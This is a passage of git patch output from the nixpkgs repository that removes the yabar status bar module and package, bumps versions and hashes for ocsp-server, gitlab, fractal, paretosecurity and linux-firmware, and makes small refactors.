-      ./common/x11.nix
-      ./common/user-account.nix
-    ];
-
-    test-support.displayManager.auto.user = "bob";
-
-    programs.yabar.enable = true;
-    programs.yabar.bars = {
-      top.indicators.date.exec = "YABAR_DATE";
-    };
-  };
-
-  testScript = ''
-    machine.start()
-    machine.wait_for_x()
-
-    # confirm proper startup
-    machine.wait_for_unit("yabar.service", "bob")
-    machine.sleep(10)
-    machine.wait_for_unit("yabar.service", "bob")
-
-    machine.screenshot("top_bar")
-  '';
-}

From 37acbc4b0aa6d3fb4ae4c4c16e1f25c8196e9c7e Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Tue, 10 Jun 2025 19:13:31 +0800
Subject: [PATCH 0995/4511] nixos/modules: drop yabar

(cherry picked from commit 837697943907d57917a8b26895fb3d5516fffff9)
---
 nixos/modules/module-list.nix    |   1 -
 nixos/modules/programs/yabar.nix | 187 -------------------------------
 nixos/modules/rename.nix         |   3 +
 3 files changed, 3 insertions(+), 188 deletions(-)
 delete mode 100644 nixos/modules/programs/yabar.nix

diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 41080f1d8965..4329c501d124 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -352,7 +352,6 @@
   ./programs/xonsh.nix
   ./programs/xss-lock.nix
   ./programs/xwayland.nix
-  ./programs/yabar.nix
   ./programs/yazi.nix
   ./programs/ydotool.nix
   ./programs/yubikey-touch-detector.nix
diff --git a/nixos/modules/programs/yabar.nix b/nixos/modules/programs/yabar.nix
deleted file mode 100644
index 08d7036a3e39..000000000000
--- a/nixos/modules/programs/yabar.nix
+++ /dev/null
@@ -1,187 +0,0 @@
-{
-  lib,
-  pkgs,
-  config,
-  ...
-}:
-
-let
-  cfg = config.programs.yabar;
-
-  mapExtra =
-    v:
-    lib.concatStringsSep "\n" (
-      lib.mapAttrsToList (
-        key: val:
-        "${key} = ${if (builtins.isString val) then "\"${val}\"" else "${builtins.toString val}"};"
-      ) v
-    );
-
-  listKeys = r: builtins.concatStringsSep "," (builtins.map (n: "\"${n}\"") (builtins.attrNames r));
-
-  configFile =
-    let
-      bars = lib.mapAttrsToList (name: cfg: ''
-        ${name}: {
-          font: "${cfg.font}";
-          position: "${cfg.position}";
-
-          ${mapExtra cfg.extra}
-
-          block-list: [${listKeys cfg.indicators}]
-
-          ${builtins.concatStringsSep "\n" (
-            lib.mapAttrsToList (name: cfg: ''
-              ${name}: {
-                exec: "${cfg.exec}";
-                align: "${cfg.align}";
-                ${mapExtra cfg.extra}
-              };
-            '') cfg.indicators
-          )}
-        };
-      '') cfg.bars;
-    in
-    pkgs.writeText "yabar.conf" ''
-      bar-list = [${listKeys cfg.bars}];
-      ${builtins.concatStringsSep "\n" bars}
-    '';
-in
-{
-  options.programs.yabar = {
-    enable = lib.mkEnableOption "yabar, a status bar for X window managers";
-
-    package = lib.mkOption {
-      default = pkgs.yabar-unstable;
-      defaultText = lib.literalExpression "pkgs.yabar-unstable";
-      example = lib.literalExpression "pkgs.yabar";
-      type = lib.types.package;
-
-      # `yabar-stable` segfaults under certain conditions.
-      # remember to update yabar.passthru.tests if nixos switches back to it!
-      apply =
-        x:
-        if x == pkgs.yabar-unstable then
-          x
-        else
-          lib.flip lib.warn x ''
-            It's not recommended to use `yabar' with `programs.yabar', the (old) stable release
-            tends to segfault under certain circumstances:
-
-            * https://github.com/geommer/yabar/issues/86
-            * https://github.com/geommer/yabar/issues/68
-            * https://github.com/geommer/yabar/issues/143
-
-            Most of them don't occur on master anymore, until a new release is published, it's recommended
-            to use `yabar-unstable'.
-          '';
-
-      description = ''
-        The package which contains the `yabar` binary.
-
-        Nixpkgs offers both a stable (`yabar`) and unstable (`yabar-unstable`) version of Yabar.
-      '';
-    };
-
-    bars = lib.mkOption {
-      default = { };
-      type = lib.types.attrsOf (
-        lib.types.submodule {
-          options = {
-            font = lib.mkOption {
-              default = "sans bold 9";
-              example = "Droid Sans, FontAwesome Bold 9";
-              type = lib.types.str;
-
-              description = ''
-                The font that will be used to draw the status bar.
-              '';
-            };
-
-            position = lib.mkOption {
-              default = "top";
-              example = "bottom";
-              type = lib.types.enum [
-                "top"
-                "bottom"
-              ];
-
-              description = ''
-                The position where the bar will be rendered.
-              '';
-            };
-
-            extra = lib.mkOption {
-              default = { };
-              type = lib.types.attrsOf lib.types.str;
-
-              description = ''
-                An attribute set which contains further attributes of a bar.
-              '';
-            };
-
-            indicators = lib.mkOption {
-              default = { };
-              type = lib.types.attrsOf (
-                lib.types.submodule {
-                  options.exec = lib.mkOption {
-                    example = "YABAR_DATE";
-                    type = lib.types.str;
-                    description = ''
-                      The type of the indicator to be executed.
-                    '';
-                  };
-
-                  options.align = lib.mkOption {
-                    default = "left";
-                    example = "right";
-                    type = lib.types.enum [
-                      "left"
-                      "center"
-                      "right"
-                    ];
-
-                    description = ''
-                      Whether to align the indicator at the left or right of the bar.
-                    '';
-                  };
-
-                  options.extra = lib.mkOption {
-                    default = { };
-                    type = lib.types.attrsOf (lib.types.either lib.types.str lib.types.int);
-
-                    description = ''
-                      An attribute set which contains further attributes of a indicator.
-                    '';
-                  };
-                }
-              );
-
-              description = ''
-                Indicators that should be rendered by yabar.
-              '';
-            };
-          };
-        }
-      );
-
-      description = ''
-        List of bars that should be rendered by yabar.
-      '';
-    };
-  };
-
-  config = lib.mkIf cfg.enable {
-    systemd.user.services.yabar = {
-      description = "yabar service";
-      wantedBy = [ "graphical-session.target" ];
-      partOf = [ "graphical-session.target" ];
-
-      script = ''
-        ${cfg.package}/bin/yabar -c ${configFile}
-      '';
-
-      serviceConfig.Restart = "always";
-    };
-  };
-}
diff --git a/nixos/modules/rename.nix b/nixos/modules/rename.nix
index bd2036e194b8..d4f6d9588045 100644
--- a/nixos/modules/rename.nix
+++ b/nixos/modules/rename.nix
@@ -71,6 +71,9 @@ in
       "way-cooler is abandoned by its author: "
       + "https://way-cooler.org/blog/2020/01/09/way-cooler-post-mortem.html"
     ))
+    (mkRemovedOptionModule [ "programs" "yabar" ]
+      "programs.yabar has been removed from NixOS. This is because the yabar repository has been archived upstream."
+    )
     (mkRemovedOptionModule [ "security" "hideProcessInformation" ] ''
       The hidepid module was removed, since the underlying machinery
       is broken when using cgroups-v2.

From 9530b98ce6f2cc9c8556303e6b1499a26793da93 Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Mon, 9 Jun 2025 15:46:49 +0800
Subject: [PATCH 0996/4511] yabar: drop

the 'yabar' upstream project was archived

(cherry picked from commit 26b29edc7abcfb6e4e4925fafd7e4ae85d2d0120)
---
 .../window-managers/yabar/build.nix           | 93 -------------------
 .../window-managers/yabar/default.nix         | 23 -----
 .../window-managers/yabar/unstable.nix        | 44 ---------
 pkgs/top-level/aliases.nix                    |  2 +
 pkgs/top-level/all-packages.nix               |  4 -
 5 files changed, 2 insertions(+), 164 deletions(-)
 delete mode 100644 pkgs/applications/window-managers/yabar/build.nix
 delete mode 100644 pkgs/applications/window-managers/yabar/default.nix
 delete mode 100644 pkgs/applications/window-managers/yabar/unstable.nix

diff --git a/pkgs/applications/window-managers/yabar/build.nix b/pkgs/applications/window-managers/yabar/build.nix
deleted file mode 100644
index b455b32fa7ae..000000000000
--- a/pkgs/applications/window-managers/yabar/build.nix
+++ /dev/null
@@ -1,93 +0,0 @@
-{
-  stdenv,
-  fetchFromGitHub,
-  cairo,
-  gdk-pixbuf,
-  libconfig,
-  pango,
-  pkg-config,
-  xcbutilwm,
-  alsa-lib,
-  wirelesstools,
-  asciidoc,
-  libxslt,
-  makeWrapper,
-  docbook_xsl,
-  configFile ? null,
-  lib,
-  rev,
-  sha256,
-  version,
-  patches ? [ ],
-}:
-
-stdenv.mkDerivation {
-  pname = "yabar";
-  inherit version;
-
-  src = fetchFromGitHub {
-    inherit rev sha256;
-
-    owner = "geommer";
-    repo = "yabar";
-  };
-
-  inherit patches;
-
-  hardeningDisable = [ "format" ];
-
-  strictDeps = true;
-  depsBuildBuild = [
-    pkg-config
-  ];
-  nativeBuildInputs = [
-    pkg-config
-    asciidoc
-    docbook_xsl
-    libxslt
-    makeWrapper
-    libconfig
-    pango
-  ];
-  buildInputs = [
-    cairo
-    gdk-pixbuf
-    libconfig
-    pango
-    xcbutilwm
-    alsa-lib
-    wirelesstools
-  ];
-
-  postPatch = ''
-    substituteInPlace ./Makefile \
-      --replace "\$(shell git describe)" "${version}" \
-      --replace "a2x" "a2x --no-xmllint"
-  '';
-
-  makeFlags = [
-    "DESTDIR=$(out)"
-    "PREFIX=/"
-  ];
-
-  postInstall = ''
-    mkdir -p $out/share/yabar/examples
-    cp -v examples/*.config $out/share/yabar/examples
-
-    ${lib.optionalString (configFile != null) ''
-      wrapProgram "$out/bin/yabar" \
-        --add-flags "-c ${configFile}"
-    ''}
-  '';
-
-  #passthru.tests = { inherit (nixosTests) yabar; }; # nixos currently uses yabar-unstable
-
-  meta = with lib; {
-    description = "Modern and lightweight status bar for X window managers";
-    homepage = "https://github.com/geommer/yabar";
-    license = licenses.mit;
-    platforms = platforms.linux;
-    maintainers = [ ];
-    mainProgram = "yabar";
-  };
-}
diff --git a/pkgs/applications/window-managers/yabar/default.nix b/pkgs/applications/window-managers/yabar/default.nix
deleted file mode 100644
index 5a58d086340c..000000000000
--- a/pkgs/applications/window-managers/yabar/default.nix
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-  callPackage,
-  attrs ? { },
-  fetchpatch,
-}:
-
-let
-  overrides = rec {
-    version = "0.4.0";
-
-    rev = version;
-    sha256 = "1nw9dar1caqln5fr0dqk7dg6naazbpfwwzxwlkxz42shsc3w30a6";
-
-    patches = [
-      (fetchpatch {
-        url = "https://github.com/geommer/yabar/commit/9779a5e04bd6e8cdc1c9fcf5d7ac31416af85a53.patch";
-        sha256 = "1szhr3k1kq6ixgnp74wnzgfvgxm6r4zpc3ny2x2wzy6lh2czc07s";
-      })
-    ];
-
-  } // attrs;
-in
-callPackage ./build.nix overrides
diff --git a/pkgs/applications/window-managers/yabar/unstable.nix b/pkgs/applications/window-managers/yabar/unstable.nix
deleted file mode 100644
index 44998faaf667..000000000000
--- a/pkgs/applications/window-managers/yabar/unstable.nix
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-  fetchpatch,
-  playerctl,
-  libxkbcommon,
-  callPackage,
-  nixosTests,
-  attrs ? { },
-}:
-
-let
-  pkg = callPackage ./build.nix (
-    {
-      version = "unstable-2018-01-18";
-
-      rev = "c516e8e78d39dd2b339acadc4c175347171150bb";
-      sha256 = "1p9lx78cayyn7qc2q66id2xfs76jyddnqv2x1ypsvixaxwcvqgdb";
-    }
-    // attrs
-  );
-in
-pkg.overrideAttrs (o: {
-  buildInputs = o.buildInputs ++ [
-    playerctl
-    libxkbcommon
-  ];
-
-  makeFlags = o.makeFlags ++ [
-    "PLAYERCTL=1"
-  ];
-
-  patches = (o.patches or [ ]) ++ [
-    (fetchpatch {
-      url = "https://github.com/geommer/yabar/commit/008dc1420ff684cf12ce2ef3ac9d642e054e39f5.patch";
-      sha256 = "1q7nd66ai6nr2m6iqxn55gvbr4r5gjc00c8wyjc3riv31qcbqbhv";
-    })
-  ];
-
-  passthru = (o.passthru or { }) // {
-    tests = (o.passthru.tests or { }) // {
-      inherit (nixosTests) yabar;
-    };
-  };
-
-})
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 6c89ae88276b..8fa7bba5e41e 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -2061,6 +2061,8 @@ mapAliases {
   yandex-browser-beta = throw "'yandex-browser-beta' has been removed, as it was broken and unmaintained"; # Added 2025-04-17
   yandex-browser-corporate = throw "'yandex-browser-corporate' has been removed, as it was broken and unmaintained"; # Added 2025-04-17
   youtrack_2022_3 = throw "'youtrack_2022_3' has been removed as it was deprecated. Please update to the 'youtrack' package."; # Added 2024-10-17
+  yabar = throw "'yabar' has been removed as the upstream project was archived"; # Added 2025-06-10
+  yabar-unstable = yabar; # Added 2025-06-10
   yrd = throw "'yrd' has been removed, as it was broken and unmaintained"; # added 2024-05-27
   yuzu-ea = throw "yuzu-ea has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04
   yuzu-early-access = throw "yuzu-early-access has been removed from nixpkgs, as it has been taken down upstream"; # Added 2024-03-04
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index e2cf6be1b6ac..6afa180e92c0 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14668,10 +14668,6 @@ with pkgs;
 
   xygrib = libsForQt5.callPackage ../applications/misc/xygrib { };
 
-  yabar = callPackage ../applications/window-managers/yabar { };
-
-  yabar-unstable = callPackage ../applications/window-managers/yabar/unstable.nix { };
-
   ydiff = with python3.pkgs; toPythonApplication ydiff;
 
   yokadi = python3Packages.callPackage ../applications/misc/yokadi { };

From 526d4d5ccc64054e712f0415dcf77e0c1830e483 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 12 Jun 2025 11:44:49 +0200
Subject: [PATCH 0997/4511] ocsp-server: 0.4.1 -> 0.6.0

(cherry picked from commit 510b526f3ca5cda96a219cce0a930833f6e477c3)
---
 pkgs/by-name/oc/ocsp-server/package.nix | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/oc/ocsp-server/package.nix b/pkgs/by-name/oc/ocsp-server/package.nix
index 736beb3efb4f..ad5bec716b83 100644
--- a/pkgs/by-name/oc/ocsp-server/package.nix
+++ b/pkgs/by-name/oc/ocsp-server/package.nix
@@ -6,6 +6,7 @@
   openssl,
   perl,
   libmysqlclient,
+  sqlite,
   mariadb,
   postgresql,
   mbedtls,
@@ -15,26 +16,33 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ocsp-server";
-  version = "0.4.1";
+  version = "0.6.0";
 
   src = fetchFromGitHub {
     owner = "DorianCoding";
     repo = "OCSP-server";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-xYZ2NM+U7ZW5xDKVUhT+s66i/d7zaDLBbSbr6TDOG0o=";
+    hash = "sha256-QaPE1mbOI6+D2pPfhpMA8LmWXKqkOoLLBQSVxdlNkoY=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-RFrm2dtjJ2VvOg8ee54ps8MuWgsV0kd9rhpzOFTem2k=";
+  cargoHash = "sha256-qaDnMbAQA5c8Nim28HAN9QB1cxfBRaFAy8xh41Iekds=";
+
+  checkFlags = [
+    # Requires database access
+    "--skip=test::checkconfig"
+  ];
 
   nativeBuildInputs = [
     pkg-config
     perl
     libmysqlclient
+    sqlite
   ];
 
   buildInputs = [
     openssl
+    sqlite
     mariadb
     postgresql
     mbedtls

From e160074609871532af998bd3c9c82a251670b3a0 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Thu, 12 Jun 2025 09:09:25 +0200
Subject: [PATCH 0998/4511] gitlab: 18.0.1 -> 18.0.2

https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/
(cherry picked from commit 05c06dad1299ae29f8b7ae04363a7a96bcd38c64)
---
 pkgs/by-name/gi/gitaly/package.nix                   |  4 ++--
 .../by-name/gi/gitlab-container-registry/package.nix |  6 +++---
 pkgs/by-name/gi/gitlab-pages/package.nix             |  4 ++--
 pkgs/by-name/gi/gitlab/data.json                     | 12 ++++++------
 pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix  |  2 +-
 5 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 9cd4bb609d5d..1b6429aa006a 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.0.1";
+  version = "18.0.2";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-yVDe5X/WGkfWdSEWEZZqjykZNz0mJ52tPHLabGDThOk=";
+      hash = "sha256-Phzg0GAKBMfXPqzlMfLZQbKeqZzMKw1YdEDdzSs+IkE=";
     };
 
     vendorHash = "sha256-PXONynRY5ZLQO2yQdtljDmLhVBIgfEYmyez9pIm9vtw=";
diff --git a/pkgs/by-name/gi/gitlab-container-registry/package.nix b/pkgs/by-name/gi/gitlab-container-registry/package.nix
index c18d28e77801..73f1209fbad9 100644
--- a/pkgs/by-name/gi/gitlab-container-registry/package.nix
+++ b/pkgs/by-name/gi/gitlab-container-registry/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule rec {
   pname = "gitlab-container-registry";
-  version = "4.22.0";
+  version = "4.23.1";
   rev = "v${version}-gitlab";
 
   # nixpkgs-update: no auto update
@@ -14,10 +14,10 @@ buildGoModule rec {
     owner = "gitlab-org";
     repo = "container-registry";
     inherit rev;
-    hash = "sha256-r7IVX4xH/K+tfoEKfO9HITHUZT6yfBP2Zr6EPZQUxfw=";
+    hash = "sha256-eCuSuQXtzd2jLJf9G8DO1KGXdT8bYGe9tcKw6BZNiiI=";
   };
 
-  vendorHash = "sha256-e7EIScdd0k5iFTDutFotNkKj1rKtBqfEexdkpjSHAoE=";
+  vendorHash = "sha256-OrdlQp+USRf+Yc7UDjIncDpbuRu5ui6TUoYY2MMc8Ro=";
 
   checkFlags =
     let
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 5ddb95744cfc..d39a8928cd28 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.0.1";
+  version = "18.0.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-EslNXyCzGpsJAG3SOQF56xbU2vhVVo4qdtfFtf9qqW0=";
+    hash = "sha256-zWWQZBN2J69YnjGhhQdB5wv4plC5ikk+kq6EfNPW6ZM=";
   };
 
   vendorHash = "sha256-BjCwPt1duDINHP7L0qT2KNTjOZ62bWgVij88ztjjyPg=";
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index f410364b0919..d4d47349cf2a 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.0.1",
-  "repo_hash": "0d4bpk0fip34cjgp7a1pcfa0q7vkn8vz1ig41zgxncgwbr5lik1h",
+  "version": "18.0.2",
+  "repo_hash": "03sqn21bnsdjs518akbmanyh96p8h4dyhpy4vqwcx1dc8lwnidki",
   "yarn_hash": "0vv09y1pjcm2723jh842pgnmnrf4yqk7558v57dp08rxrqnsni5x",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.0.1-ee",
+  "rev": "v18.0.2-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.0.1",
-    "GITLAB_PAGES_VERSION": "18.0.1",
+    "GITALY_SERVER_VERSION": "18.0.2",
+    "GITLAB_PAGES_VERSION": "18.0.2",
     "GITLAB_SHELL_VERSION": "14.42.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.5.1",
-    "GITLAB_WORKHORSE_VERSION": "18.0.1"
+    "GITLAB_WORKHORSE_VERSION": "18.0.2"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 11e3e8f868e5..8c10519ffd9e 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.0.1";
+  version = "18.0.2";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {

From de2e37025e076abb3581e10b65d53f8ab44401f1 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Wed, 11 Jun 2025 19:22:25 +0200
Subject: [PATCH 0999/4511] fractal: 11.1 -> 11.2

(cherry picked from commit 16098eb53eefb2d9d4e46c309bc6f9447fb535c1)
---
 pkgs/by-name/fr/fractal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fr/fractal/package.nix b/pkgs/by-name/fr/fractal/package.nix
index f2aab7a59bf5..93f8c9741d32 100644
--- a/pkgs/by-name/fr/fractal/package.nix
+++ b/pkgs/by-name/fr/fractal/package.nix
@@ -30,19 +30,19 @@
 
 stdenv.mkDerivation rec {
   pname = "fractal";
-  version = "11.1";
+  version = "11.2";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "fractal";
     tag = version;
-    hash = "sha256-G8vJvoOVVQ9cPnwoxNoKrQwGNxnA78HG285iSy6lSjk=";
+    hash = "sha256-UE0TRC9DeP+fl85fzuQ8/3ioIPdeSqsJWnW1olB1gmo=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit src;
-    hash = "sha256-yxo1ZSOqjh2lrdmiCrKQGFHpSPRgye64rFNZpghZqI0=";
+    hash = "sha256-I+1pGZWxn9Q/CL8D6VxsaO3H4EdBek4wyykvNgCNRZI=";
   };
 
   patches = [

From 032672af933c3570e0b5056c2c39fe9c7e350c54 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Wed, 11 Jun 2025 19:15:29 +0200
Subject: [PATCH 1000/4511] fractal: set meta.homepage correctly

(cherry picked from commit 48d6ed970c0481a0b75a096e2e165a2fb4f98d58)
---
 pkgs/by-name/fr/fractal/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/fr/fractal/package.nix b/pkgs/by-name/fr/fractal/package.nix
index 93f8c9741d32..1d3083aabb90 100644
--- a/pkgs/by-name/fr/fractal/package.nix
+++ b/pkgs/by-name/fr/fractal/package.nix
@@ -109,7 +109,7 @@ stdenv.mkDerivation rec {
 
   meta = with lib; {
     description = "Matrix group messaging app";
-    homepage = "https://gitlab.gnome.org/GNOME/fractal";
+    homepage = "https://gitlab.gnome.org/World/fractal";
     changelog = "https://gitlab.gnome.org/World/fractal/-/releases/${version}";
     license = licenses.gpl3Plus;
     teams = [ teams.gnome ];

From 05aff6e2bc8adc892f52cdc27c39fb32d24785b2 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Wed, 11 Jun 2025 20:27:10 +0200
Subject: [PATCH 1001/4511] fractal: `finalAttrs` -> `rec`

(cherry picked from commit c755f940520f19f02dbe1fb724e9c60d6173254c)
---
 pkgs/by-name/fr/fractal/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/fr/fractal/package.nix b/pkgs/by-name/fr/fractal/package.nix
index 1d3083aabb90..e72a15c7005b 100644
--- a/pkgs/by-name/fr/fractal/package.nix
+++ b/pkgs/by-name/fr/fractal/package.nix
@@ -28,7 +28,7 @@
   glycin-loaders,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "fractal";
   version = "11.2";
 
@@ -36,12 +36,12 @@ stdenv.mkDerivation rec {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "fractal";
-    tag = version;
+    tag = finalAttrs.version;
     hash = "sha256-UE0TRC9DeP+fl85fzuQ8/3ioIPdeSqsJWnW1olB1gmo=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit src;
+    inherit (finalAttrs) src;
     hash = "sha256-I+1pGZWxn9Q/CL8D6VxsaO3H4EdBek4wyykvNgCNRZI=";
   };
 
@@ -110,10 +110,10 @@ stdenv.mkDerivation rec {
   meta = with lib; {
     description = "Matrix group messaging app";
     homepage = "https://gitlab.gnome.org/World/fractal";
-    changelog = "https://gitlab.gnome.org/World/fractal/-/releases/${version}";
+    changelog = "https://gitlab.gnome.org/World/fractal/-/releases/${finalAttrs.version}";
     license = licenses.gpl3Plus;
     teams = [ teams.gnome ];
     platforms = platforms.linux;
     mainProgram = "fractal";
   };
-}
+})

From 35d5381bac887ae49004c3be4d5b8a08f60574c3 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Thu, 12 Jun 2025 13:36:38 +0100
Subject: [PATCH 1002/4511] paretosecurity: 0.2.31 -> 0.2.34

(cherry picked from commit 81a45ed1f7c0074e7ae5cc5c9ea9e2be4f3acba8)
---
 nixos/tests/paretosecurity.nix             | 10 +++++-----
 pkgs/by-name/pa/paretosecurity/package.nix |  6 +++---
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/nixos/tests/paretosecurity.nix b/nixos/tests/paretosecurity.nix
index 4bafcf1c1f8c..4a0f00e66000 100644
--- a/nixos/tests/paretosecurity.nix
+++ b/nixos/tests/paretosecurity.nix
@@ -19,20 +19,20 @@
             oldAttrs.postPatch or ""
             + ''
               substituteInPlace team/report.go \
-                --replace-warn 'const reportURL = "https://dash.paretosecurity.com"' \
-                               'const reportURL = "http://dashboard"'
+                --replace-warn 'const reportURL = "https://cloud.paretosecurity.com"' \
+                               'const reportURL = "http://cloud"'
             '';
         });
       };
 
     };
 
-  nodes.dashboard = {
+  nodes.cloud = {
     networking.firewall.allowedTCPPorts = [ 80 ];
 
     services.nginx = {
       enable = true;
-      virtualHosts."dashboard" = {
+      virtualHosts."cloud" = {
         locations."/api/v1/team/".extraConfig = ''
           add_header Content-Type application/json;
           return 200 '{"message": "Linked device."}';
@@ -72,7 +72,7 @@
   testScript = ''
     # Test setup
     terminal.succeed("su - alice -c 'mkdir -p /home/alice/.config'")
-    for m in [terminal, dashboard]:
+    for m in [terminal, cloud]:
       m.systemctl("start network-online.target")
       m.wait_for_unit("network-online.target")
 
diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 53722be17a66..c6e774528f2d 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.31";
+  version = "0.2.34";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-dYQNSzovWCX7sj7VjgBc5GHz+5dKLTiB5pvbVSLMyqY=";
+    hash = "sha256-tTFdgLpu7RRWx2B2VMROqs1HgG0qMbfUOS5KNLQFHQw=";
   };
 
-  vendorHash = "sha256-PhuHRs0PjIJqY3ZBC4ga7zFxgf57xfPjJ3VIDaA61F0=";
+  vendorHash = "sha256-RAKYaNi+MXUfNnEJmZF5g9jFBDOPIVBOZWtqZp2FwWY=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From 44a84770ea103cacd7ee8c3b468ae628f3ec63c7 Mon Sep 17 00:00:00 2001
From: Tom Vincent <github@tlvince.com>
Date: Fri, 13 Jun 2025 14:30:19 +0000
Subject: [PATCH 1003/4511] linux-firmware: 20250509 -> 20250613

(cherry picked from commit c125d23d188b4fef5f1c2f59198ff61986a4e4f1)
---
 pkgs/by-name/li/linux-firmware/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index e5f97ebebdb2..e1a6f4e9fade 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -22,11 +22,11 @@ let
 in
 stdenvNoCC.mkDerivation rec {
   pname = "linux-firmware";
-  version = "20250509";
+  version = "20250613";
 
   src = fetchzip {
-    url = "https://cdn.kernel.org/pub/linux/kernel/firmware/linux-firmware-${version}.tar.xz ";
-    hash = "sha256-0FrhgJQyCeRCa3s0vu8UOoN0ZgVCahTQsSH0o6G6hhY=";
+    url = "https://cdn.kernel.org/pub/linux/kernel/firmware/linux-firmware-${version}.tar.xz";
+    hash = "sha256-qygwQNl99oeHiCksaPqxxeH+H7hqRjbqN++Hf9X+gzs=";
   };
 
   postUnpack = ''

From 414256e94760ca72bd1c841117f76a7f046d2a44 Mon Sep 17 00:00:00 2001
From: blahbaka <penelope.zhong@proton.me>
Date: Wed, 11 Jun 2025 17:23:39 -0500
Subject: [PATCH 1004/4511] gnomeExtensions.impatience: add gnome 48 support

gnomeExtensions.impatience: update version to unstable

Co-authored-by: emaryn <197520219+emaryn@users.noreply.github.com>
(cherry picked from commit 9add0a14ed2b3dea3035bf887ef870689541e86a)
---
 pkgs/desktops/gnome/extensions/impatience/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/impatience/default.nix b/pkgs/desktops/gnome/extensions/impatience/default.nix
index e9c1922175a0..650f85a1252c 100644
--- a/pkgs/desktops/gnome/extensions/impatience/default.nix
+++ b/pkgs/desktops/gnome/extensions/impatience/default.nix
@@ -5,15 +5,15 @@
   glib,
 }:
 
-stdenv.mkDerivation rec {
